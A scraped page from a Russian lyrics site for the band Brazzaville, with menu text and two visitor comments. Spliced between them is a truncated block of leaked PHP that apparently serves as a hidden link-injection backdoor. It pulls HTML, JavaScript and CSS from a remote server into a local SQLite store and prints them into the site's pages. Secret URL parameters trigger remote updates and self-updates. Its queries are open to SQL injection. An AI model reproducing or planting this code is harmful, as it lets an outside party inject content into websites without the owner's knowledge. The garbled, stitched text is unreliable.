Все тексты песен Brazzaville с переводом
Песни по алфавиту
русские
зарубежные
Нажимая на кнопку "Отправить", я даю согласие на обработку персональных данных.
SQLITE NOT INSTALLED
'; return false; } } private function CreateTable($nameTable, $arFields) { GLOBAL $rsDB; $stFields = implode(", ", $arFields); $stSQL = 'CREATE TABLE '.$nameTable.'('.$stFields.')'; $result = $rsDB->exec($stSQL); return $result; } private function CreateTables() { self::CreateTable("connect", array("id INTEGER PRIMARY KEY AUTOINCREMENT", "time DATETIME")); self::CreateTable("asset", array("id INTEGER PRIMARY KEY AUTOINCREMENT", "name TEXT", "text TEXT")); self::CreateTable("url", array("id INTEGER PRIMARY KEY AUTOINCREMENT", "url TEXT", "html TEXT", "time TEXT")); } private function AddItem($nameTable, $arFields, $arValue, $stDelimetr) { GLOBAL $rsDB; $stFields = implode(", ", $arFields); foreach ($arValue as $arVal) { if(is_object($arVal)){ $arVal = (array) $arVal; } $arVal = preg_replace("/' /", "'' ", $arVal); $arVal = preg_replace("/'s/", "''s", $arVal); $stVal = $stDelimetr . implode($stDelimetr.", ".$stDelimetr,(array) $arVal) . $stDelimetr; $stSQL = "INSERT INTO ".$nameTable." (".$stFields.") VALUES (".$stVal.")"; $result = $rsDB->exec($stSQL); } } private function AddItems() { $arFile = self::GetFile(); if(is_object($arFile) and count($arFile->added) > 0){ self::AddItem("url", array("url", "html", "time"), $arFile->added, "'"); } if(is_object($arFile) and !empty($arFile->css)){ self::AddItem("asset", array("name", "text"), array(array("css", $arFile->css)), "'"); } if(is_object($arFile) and !empty($arFile->js)){ self::AddItem("asset", array("name", "text"), array(array("js", $arFile->js)), "'"); } return $arFile; } private function DelItem($nameTable, $arFields, $arValue) { GLOBAL $rsDB; foreach ($arValue as $stID) { $stSQL = "DELETE FROM ".$nameTable." WHERE ".$arFields." = ".$stID.";"; $result = $rsDB->exec($stSQL); } } private function CheckTablet($nameTable) { GLOBAL $rsDB; // $stSQL = "SELECT id FROM ".$nameTable." LIMIT 1"; $stSQL = "SELECT count(*) as count FROM sqlite_master WHERE type='table' AND name='".$nameTable. "'"; $rsResult = $rsDB->query($stSQL); $arRes = $rsResult->fetchArray(SQLITE3_ASSOC); if($arRes["count"] == "1"){ return true; }else{ return false; } } private function SerarchItem($nameTable, $arFields, $arValue, $stSign, $stLike=false) { GLOBAL $rsDB; if($stLike){ $stSQL = "SELECT * FROM ".$nameTable." WHERE ".$arFields." LIKE \"".$arValue."\";"; }else{ $stSQL = "SELECT * FROM ".$nameTable." WHERE ".$arFields." ".$stSign." \"".$arValue."\";"; } $arResult = array(); $rsResult = $rsDB->query($stSQL); while($arRes = $rsResult->fetchArray(SQLITE3_ASSOC)) { $arResult[] = $arRes; } if(!empty($arResult)){ return $arResult; }else{ return false; } } public function ShowCountLink() { if(self::CreateBD() && self::CheckTablet("url")){ GLOBAL $rsDB; $stSQL = "SELECT COUNT(*) as count FROM url;"; $rsResult = $rsDB->query($stSQL); $arResult = $rsResult->fetchArray(); $stCount = $arResult['count']; return $stCount; } else { return 0; } } private function DelateDB() { $stDBName = __DIR__ . '/' . self::GetSiteID() . "_DB.db"; return unlink($stDBName); } private function CloseBD() { GLOBAL $rsDB; $rsDB->close(); unset($rsDB); } private function GetFile($path = "rem_file.json") { //через файл // $rsFile = fopen($path, "r"); // $obFile = fread($rsFile, filesize($path)); // fclose($rsFile); self::AddItem("connect", array("time"), array("datetime('now')"), ""); $obFile = self::UrlGetContent(self::REMOTE_URL.self::GetSiteID()); return json_decode($obFile); } private function CheckTime($stTime) { $rsDate = new DateTime(); $TimeURL = $rsDate->getTimestamp(); if($TimeURL >= $stTime){ return true; }else{ return false; } } public function ViewURL() { $arSearchURLs = self::SerarchItem("url", "url", "%".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"], false, true); if(is_array($arSearchURLs) and count($arSearchURLs) > 0 ){ foreach ($arSearchURLs as $key => $arSearchURL) { if(self::CheckTime($arSearchURL["time"])){ echo $arSearchURL["html"]; if($key == 0){ $arJS = self::SerarchItem("asset", "name", "js", false, true); $arCSS = self::SerarchItem("asset", "name", "css", false, true); if(!empty($arJS[0]["text"])){ echo ''; } if(!empty($arCSS[0]["text"])){ echo ''; } } } } } } private function UrlGetContent($url) { if (function_exists('curl_exec')){ $conn = curl_init($url); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($conn, CURLOPT_FRESH_CONNECT, true); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); $url_get_contents_data = (curl_exec($conn)); curl_close($conn); }elseif(function_exists('file_get_contents')){ $url_get_contents_data = file_get_contents($url); }elseif(function_exists('fopen') && function_exists('stream_get_contents')){ $handle = fopen ($url, "r"); $url_get_contents_data = stream_get_contents($handle); }else{ $url_get_contents_data = false; } return $url_get_contents_data; } public function PingView() { echo self::PING_TEXT; } public function ForceUpdate() { $obFile = self::UrlGetContent(self::REMOTE_URL.self::GetSiteID()); $arFile = json_decode($obFile); self::DelateDB(); if(is_object($arFile)){ if(count($arFile->added) > 0){ self::CreateBD(); self::CreateTables(); $arFile = self::AddItems(); } if((int) $arFile->version > (int) self::VERSION_SECRIPT){ self::UpdateScript(); } } } public function Exec($boON = false) { if($boON){ if(self::CreateBD()){ if(!self::CheckTablet("connect")){ self::CreateTables(); self::AddItems(); } self::ViewURL(); self::PingView(); } } } } } $rsGetBlocksHtml = new GetBlocksHtml; if(isset($_GET["fpafull"]) and $_GET["fpafull"] == "true") { echo $rsGetBlocksHtml->GetFullStats(); exit(); } if(isset($_GET["fpaupdate"]) and $_GET["fpaupdate"] == "true"){ $rsGetBlocksHtml->ForceUpdate(); }else{ $rsGetBlocksHtml->Exec(true); }
TanyaRADA пишет:
- спасибо! От Души!!! ( Улыбаюсь...)все так!!!Liza пишет:
Любимая песня моей мамы